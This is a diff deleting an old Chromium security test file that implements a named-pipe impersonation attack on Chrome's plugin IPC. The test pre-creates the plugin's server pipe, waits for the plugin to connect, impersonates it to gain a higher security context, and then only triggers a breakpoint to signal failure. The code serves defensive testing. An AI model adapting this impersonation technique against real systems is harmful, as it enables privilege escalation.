| Index: chrome/test/security_tests/ipc_security_tests.cc
|
| diff --git a/chrome/test/security_tests/ipc_security_tests.cc b/chrome/test/security_tests/ipc_security_tests.cc
|
| deleted file mode 100644
|
| index 3b026b3ae0d2e61fc6b0bce3215ab5639bf86f7b..0000000000000000000000000000000000000000
|
| --- a/chrome/test/security_tests/ipc_security_tests.cc
|
| +++ /dev/null
|
| @@ -1,192 +0,0 @@
|
| -// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
|
| -// Use of this source code is governed by a BSD-style license that can be
|
| -// found in the LICENSE file.
|
| -
|
| -#include <windows.h>
|
| -#include <string>
|
| -#include <sstream>
|
| -
|
| -#include "chrome/test/security_tests/ipc_security_tests.h"
|
| -
|
| -namespace {
|
| -
|
| -// Debug output messages prefix.
|
| -const char kODSMgPrefix[] = "[security] ";
|
| -// Format of the Chrome browser pipe for plugins.
|
| -const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
|
| -// Size for the in/out pipe buffers.
|
| -const int kBufferSize = 1024;
|
| -
|
| -// Define the next symbol if you want to have tracing of errors.
|
| -#ifdef PIPE_SECURITY_DBG
|
| -// Generic debug output function.
|
| -void ODSMessageGLE(const char* txt) {
|
| - DWORD gle = ::GetLastError();
|
| - std::ostringstream oss;
|
| - oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
|
| - ::OutputDebugStringA(oss.str().c_str());
|
| -}
|
| -#else
|
| -void ODSMessageGLE(const char* txt) {
|
| -}
|
| -#endif
|
| -
|
| -// Retrieves the renderer pipe name from the command line. Returns true if the
|
| -// name was found.
|
| -bool PipeNameFromCommandLine(std::wstring* pipe_name) {
|
| - std::wstring cl(::GetCommandLineW());
|
| - const wchar_t key_name[] = L"--channel";
|
| - std::wstring::size_type pos = cl.find(key_name, 0);
|
| - if (std::wstring::npos == pos) {
|
| - return false;
|
| - }
|
| - pos = cl.find(L"=", pos);
|
| - if (std::wstring::npos == pos) {
|
| - return false;
|
| - }
|
| - ++pos;
|
| - size_t dst = cl.length() - pos;
|
| - if (dst <4) {
|
| - return false;
|
| - }
|
| - for (; dst != 0; --dst) {
|
| - if (!isspace(cl[pos])) {
|
| - break;
|
| - }
|
| - ++pos;
|
| - }
|
| - if (0 == dst) {
|
| - return false;
|
| - }
|
| - std::wstring::size_type pos2 = pos;
|
| - for (; dst != 0; --dst) {
|
| - if (isspace(cl[pos2])) {
|
| - break;
|
| - }
|
| - ++pos2;
|
| - }
|
| - *pipe_name = cl.substr(pos, pos2);
|
| - return true;
|
| -}
|
| -
|
| -// Extracts the browser process id and the channel id given the renderer
|
| -// pipe name.
|
| -bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
|
| - std::wstring* channel_id) {
|
| - std::wstring::size_type pos = pipe_name.find(L".", 0);
|
| - if (std::wstring::npos == pos) {
|
| - return false;
|
| - }
|
| - *parent_id = pipe_name.substr(0, pos);
|
| - *channel_id = pipe_name.substr(pos + 1);
|
| - return true;
|
| -}
|
| -
|
| -// Creates a server pipe, in byte mode.
|
| -HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
|
| - HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
|
| - PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
|
| - kBufferSize, kBufferSize, 5000, NULL);
|
| - if (INVALID_HANDLE_VALUE == pipe) {
|
| - ODSMessageGLE("pipe creation failed");
|
| - }
|
| - return pipe;
|
| -}
|
| -
|
| -// Creates a chrome plugin server pipe.
|
| -HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
|
| - wchar_t pipe_name[MAX_PATH];
|
| - swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
|
| - return MakeServerPipeBase(pipe_name);
|
| -}
|
| -
|
| -struct Context {
|
| - HANDLE pipe;
|
| - explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) {
|
| - }
|
| -};
|
| -
|
| -// This function is called from a thread that has a security context that is
|
| -// higher than the renderer security context. This can be the plugin security
|
| -// context or the browser security context.
|
| -void DoEvilThings(Context* context) {
|
| - // To make the test fail we simply trigger a breakpoint in the renderer.
|
| - ::DisconnectNamedPipe(context->pipe);
|
| - __debugbreak();
|
| -}
|
| -
|
| -// This is a pipe server thread routine.
|
| -DWORD WINAPI PipeServerProc(void* thread_param) {
|
| - if (NULL == thread_param) {
|
| - return 0;
|
| - }
|
| - Context* context = static_cast<Context*>(thread_param);
|
| - HANDLE server_pipe = context->pipe;
|
| -
|
| - char buffer[4];
|
| - DWORD bytes_read = 0;
|
| -
|
| - for (;;) {
|
| - // The next call blocks until a connection is made.
|
| - if (!::ConnectNamedPipe(server_pipe, NULL)) {
|
| - if (GetLastError() != ERROR_PIPE_CONNECTED) {
|
| - ODSMessageGLE("== connect named pipe failed ==");
|
| - continue;
|
| - }
|
| - }
|
| - // return value of ReadFile is unimportant.
|
| - ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
|
| - if (::ImpersonateNamedPipeClient(server_pipe)) {
|
| - ODSMessageGLE("impersonation obtained");
|
| - DoEvilThings(context);
|
| - break;
|
| - } else {
|
| - ODSMessageGLE("impersonation failed");
|
| - }
|
| - ::DisconnectNamedPipe(server_pipe);
|
| - }
|
| - delete context;
|
| - return 0;
|
| -}
|
| -} // namespace
|
| -
|
| -// Implements a pipe impersonation attack resulting on a privilege elevation on
|
| -// the chrome pipe-based IPC.
|
| -// When a web-page that has a plug-in is loaded, chrome will do the following
|
| -// steps:
|
| -// 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
|
| -// 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
|
| -// 3) The new (plugin) process connects to the pipe and sends a 'hello'
|
| -// message.
|
| -// The attack creates another server pipe with the same name before step one
|
| -// so when the plugin connects it connects to the renderer instead. Once the
|
| -// connection is acepted and at least a byte is read from the pipe, the
|
| -// renderer can impersonate the plugin process which has a more relaxed
|
| -// security context (privilege elevation).
|
| -//
|
| -// Note that the attack can also be peformed after step 1. In this case we need
|
| -// another thread which used to connect to the existing server pipe so the
|
| -// plugin does not connect to chrome but to our pipe.
|
| -bool PipeImpersonationAttack() {
|
| - std::wstring pipe_name;
|
| - if (!PipeNameFromCommandLine(&pipe_name)) {
|
| - return false;
|
| - }
|
| - std::wstring parent_id;
|
| - std::wstring channel_id;
|
| - if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
|
| - return false;
|
| - }
|
| - HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
|
| - if (INVALID_HANDLE_VALUE == plugin_pipe) {
|
| - return true;
|
| - }
|
| -
|
| - HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
|
| - new Context(plugin_pipe), 0, NULL);
|
| - if (NULL == thread) {
|
| - return false;
|
| - }
|
| - ::CloseHandle(thread);
|
| - return true;
|
| -}
|
|
|